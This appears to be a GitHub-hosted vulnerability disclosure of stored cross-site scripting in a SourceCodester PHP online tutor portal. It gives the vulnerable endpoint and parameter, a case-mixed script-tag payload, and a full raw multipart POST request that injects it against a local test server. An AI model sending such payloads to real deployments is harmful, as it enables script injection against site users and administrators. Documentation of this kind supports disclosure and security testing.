Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

online-tutor-portal-site - Cross-site Scripting (XSS)

vendors: https://www.sourcecodester.com/php/15339/online-tutor-portal-site-phpopp-free-source-code.html

Date: 2022-05-07

Vulnerability File: /otps/classes/Master.php

Vulnerability location: /otps/classes/Master.php?f=save_course, name

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

POST http://192.168.2.102/otps/classes/Master.php?f=save_course HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23528694527160792041879147157
Content-Length: 940
Origin: http://192.168.2.102
Connection: close
Referer: http://192.168.2.102/otps/admin/?page=courses
Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="id"

6
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="tutor_id"

4
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="name"

<sCrIpT>alert(1)</sCrIpT>
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="description"

Sample Course 102
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="experience"

5
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="status"

0
-----------------------------23528694527160792041879147157
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------23528694527160792041879147157--